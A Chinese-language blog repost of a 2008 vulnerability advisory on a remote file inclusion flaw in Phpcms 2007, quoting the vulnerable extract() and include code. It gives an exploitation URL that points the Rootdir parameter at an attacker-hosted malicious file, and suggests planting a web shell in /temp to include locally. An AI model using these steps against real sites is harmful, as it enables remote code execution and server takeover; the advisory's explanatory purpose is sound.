数据加载中……


 

 登   陆

我的分类(专题)
数据加载中……

链接

Blog信息
数据加载中……

 



Phpcms 2007 远程文件包含漏洞
樱木花盗 发表于 2008-8-23 17:28:34

PS:@extract函数。

Phpcms 2007 远程文件包含漏洞

Flyh4t [w.s.t]

www.wolvez.org
该cms的核心配置文件/include/common.inc.php有缺陷
--------------------------------------------
//23行开始
@extract($_POST, EXTR_OVERWRITE);
@extract($_GET, EXTR_OVERWRITE);
unset($_POST, $_GET);
------------------------------------------------
这里extract函数会导致变量覆盖,可能引发一系列的问题

我们看/yp/admin.php,这个文件名字是挺吓人的,还带admin。但是注册个企业用户就可以访问该页面了,我

们看部分代码
------------------------------------------------
//从头开始看
$rootdir = str_replace("\\", '/', dirname(__FILE__));
require $rootdir.'/include/common.inc.php';//通过extract可以覆盖$rootdir为任意值
require PHPCMS_ROOT.'/languages/'.$CONFIG['adminlanguage'].'/yp_admin.lang.php';
if(!$_username) showmessage($LANG['please_login'],$PHPCMS['siteurl'].'member/login.php?

forward='.$PHP_URL);
require $rootdir.'/web/admin/include/common.inc.php ';//触发远程文件包含
------------------------------------------------

利用的方式可以先在你的网站 site.com上放置/web/admin/include/common.inc.php这样的目录和文件,当然

common.inc.php就是你的恶意代码,然后注册个用户访问网站并提交
http://www.03389.com/yp/admin.php?Rootdir=http://site.com/即可。

最后多说一句,php5默认不开启远程文件功能,如果想包含本地文件又要被gpc限制,所以看上去这个漏洞挺鸡

肋的。不过qiuren同学提供了一个不错的方法,可以旁注一个shell写/web/admin/include/common.inc.php

到/temp目录然后包含之

 


阅读全文 | 回复(0) | 引用通告 | 编辑
 


发表评论:

    昵称:
    密码: (游客无须输入密码)
    主页:
    标题:
    数据加载中……


Powered by Oblog.